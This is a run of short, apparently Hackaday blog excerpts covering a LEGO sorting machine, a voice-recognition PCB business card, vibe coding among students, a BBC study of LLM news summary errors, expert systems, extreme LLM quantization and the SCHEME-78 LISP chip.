You know what’s not fun? Sorting LEGO. You know what is fun? Making a machine to sort LEGO! That’s what [LegoSpencer] did, and you can watch the machine do its thing in the video below.
[Spencer] runs us through the process: first, quit your day job so you can get a job playing with LEGO; then research what previous work has been done in this area (plenty, it turns out); and then commit to making your own version both reproducible and extensible.
A sorting machine needs three main features: a feeder to dispense one piece at a time, a classifier to decide the type of piece, and a distributor to route the piece to a bin. Of course, the devil is in the details.
A PCB business card is a great way for electrical engineers to impress employers with their design skills, but the software they run can be just as impressive as the card itself. As a programmer with an interest in embedded machine learning, [Dave McKinnon] wanted a card that showcased his skills, so he designed one that runs voice recognition.
[Dave] specifically wanted to run a neural network on his card, but needed to make it small enough to run on a microcontroller. Voice recognition looked like a good fit for this, since audio can be represented with relatively little data, a microphone is cheap and easy to add to a circuit board, and there was already an example of someone running such a voice recognition network on an Arduino. To fit the neural network into 46 kB, it only distinguishes the words “one” through “nine,” and displays its guess on an LED seven-segment display. [Dave] first prototyped the system with an Arduino, then designed the circuit board around an RP2040.
One of the fun things about writing for Hackaday is that it takes you to the places where our community hang out. I was in a hackerspace in a university town the other evening, busily chasing my end of month deadline as no doubt were my colleagues at the time too. In there were a couple of others, a member who’s an electronic engineering student at one of the local universities, and one of their friends from the same course. They were working on the hardware side of a group project, a web-connected device which with a team of several other students, and they were creating from sensor to server to screen.
I have a lot of respect for my friend’s engineering abilities, I won’t name them but they’ve done a bunch of really accomplished projects, and some of them have even been featured here by my colleagues. They are already a very competent engineer indeed, and when in time they receive the bit of paper to prove it, they will go far. The other student was immediately apparent as being cut from the same cloth, as people say in hackerspaces, “one of us”.
They were making great progress with the hardware and low-level software while they were there, but I was saddened at their lament over their colleagues. In particular it seemed they had a real problem with vibe coding: they estimated that only a small percentage of their classmates could code by hand as they did, and the result was a lot of impenetrable code that looked good, but often simply didn’t work.
Has anyone noticed that news stories have gotten shorter and pithier over the past few decades, sometimes seeming like summaries of what you used to peruse? In spite of that, huge numbers of people are relying on large language model (LLM) “AI” tools to get their news in the form of summaries. According to a study by the BBC and European Broadcasting Union, 47% of people find news summaries helpful. Over a third of Britons say they trust LLM summaries, and they probably ought not to, according to the beeb and co.
It’s a problem we’ve discussed before: as OpenAI researchers themselves admit, hallucinations are unavoidable. This more recent BBC-led study took a microscope to LLM summaries in particular, to find out how often and how badly they were tainted by hallucination.
Not all of those errors were considered a big deal, but in 20% of cases (on average) there were “major issues”–though that’s more-or-less independent of which model was being used. If there’s good news here, it’s that those numbers are better than they were when the beeb last performed this exercise earlier in the year. The whole report is worth reading if you’re a toaster-lover interested in the state of the art. (Especially if you want to see if this human-produced summary works better than an LLM-derived one.) If you’re a luddite, by contrast, you can rest easy that your instincts not to trust clanks remains reasonable… for now.
Either way, for the moment, it might be best to restrict the LLM to game dialog, and leave the news to totally-trustworthy humans who never err.
We’ll be honest. If you had told us a few decades ago we’d teach computers to do what we want, it would work some of the time, and you wouldn’t really be able to explain or predict exactly what it was going to do, we’d have thought you were crazy. Why not just get a person? But the dream of AI goes back to the earliest days of computers or even further, if you count Samuel Butler’s letter from 1863 musing on machines evolving into life, a theme he would revisit in the 1872 book Erewhon.
Of course, early real-life AI was nothing like you wanted. Eliza seemed pretty conversational, but you could quickly confuse the program. Hexapawn learned how to play an extremely simplified version of chess, but you could just as easily teach it to lose.
But the real AI work that looked promising was the field of expert systems. Unlike our current AI friends, expert systems were highly predictable. Of course, like any computer program, they could be wrong, but if they were, you could figure out why.
Experts?
As the name implies, expert systems drew from human experts. In theory, a specialized person known as a “knowledge engineer” would work with a human expert to distill his or her knowledge down to an essential form that the computer could handle.
This could range from the simple to the fiendishly complex, and if you think it was hard to do well, you aren’t wrong. Before getting into details, an example will help you follow how it works.
Turns out that training on Twitch quotes doesn’t make an LLM a math genius. (Credit: Codeically, YouTube)
The reason why large language models are called ‘large’ is not because of how smart they are, but as a factor of their sheer size in bytes. At billions of parameters at four bytes each, they pose a serious challenge when it comes to not just their size on disk, but also in RAM, specifically the RAM of your videocard (VRAM). Reducing this immense size, as is done routinely for the smaller pretrained models which one can download for local use, involves quantization. This process is explained and demonstrated by [Codeically], who takes it to its logical extreme: reducing what could be a GB-sized model down to a mere 63 MB by reducing the bits per parameter.
While you can offload a model, i.e. keep only part of it in VRAM and the rest in system RAM, this massively impacts performance. An alternative is to use fewer bits per weight in the model, called ‘compression’, which typically involves reducing 16-bit floating point to 8-bit, reducing memory usage by about 75%. Going lower than this is generally deemed unadvisable.
Using GPT-2 as the base, it was trained with a pile of internet quotes, creating parameters with a very anemic 4-bit integer size. After initially manually zeroing the weights made the output too garbled, the second attempt without the zeroing did somewhat produce usable output before flying off the rails. Yet it did this with a 63 MB model at 78 tokens a second on just the CPU, demonstrating that you can create a pocket-sized chatbot to spout nonsense even without splurging on expensive hardware.
The physical layout of the SCHEME-78 LISP-based microprocessor by Steele and Sussman. (Source: ACM, Vol 23, Issue 11, 1980)
During the AI research boom of the 1970s, the LISP language – from LISt Processor – saw a major surge in use and development, including many dialects being developed. One of these dialects was Scheme, developed by [Guy L. Steele] and [Gerald Jay Sussman], who wrote a number of articles that were published by the Massachusetts Institute of Technology (MIT) AI Lab as part of the AI Memos. This subset, called the Lambda Papers, cover the ideas from both men about lambda calculus, its application with LISP and ultimately the 1980 paper on the design of a LISP-based microprocessor.
Scheme is notable here because it influenced the development of what would be standardized in 1994 as Common Lisp, which is what can be called ‘modern Lisp’. The idea of creating dedicated LISP machines was not a new one, driven by the processing requirements of AI systems. The mismatch between the S-expressions of LISP and the typical way that assembly uses the CPUs of the era led to the development of CPUs with dedicated hardware support for LISP.
The design described by [Steele] and [Sussman] in their 1980 paper, as featured in the Communications of the ACM, features an instruction set architecture (ISA) that matches the LISP language more closely. As described, it is effectively a hardware-based LISP interpreter, implemented in a VLSI chip, called the SCHEME-78. By moving as much as possible into hardware, obviously performance is much improved. This is somewhat like how today’s AI boom is based around dedicated vector processors that excel at inference, unlike generic CPUs.
During the 1980s LISP machines began to integrate more and more hardware features, with the Symbolics and LMI systems featuring heavily. Later these systems also began to be marketed towards non-AI uses like 3D modelling and computer graphics. As however funding for AI research dried up and commodity hardware began to outpace specialized processors, so too did these systems vanish.
Top image: Symbolics 3620 and LMI Lambda Lisp machines (Credit: Jason Riedy)
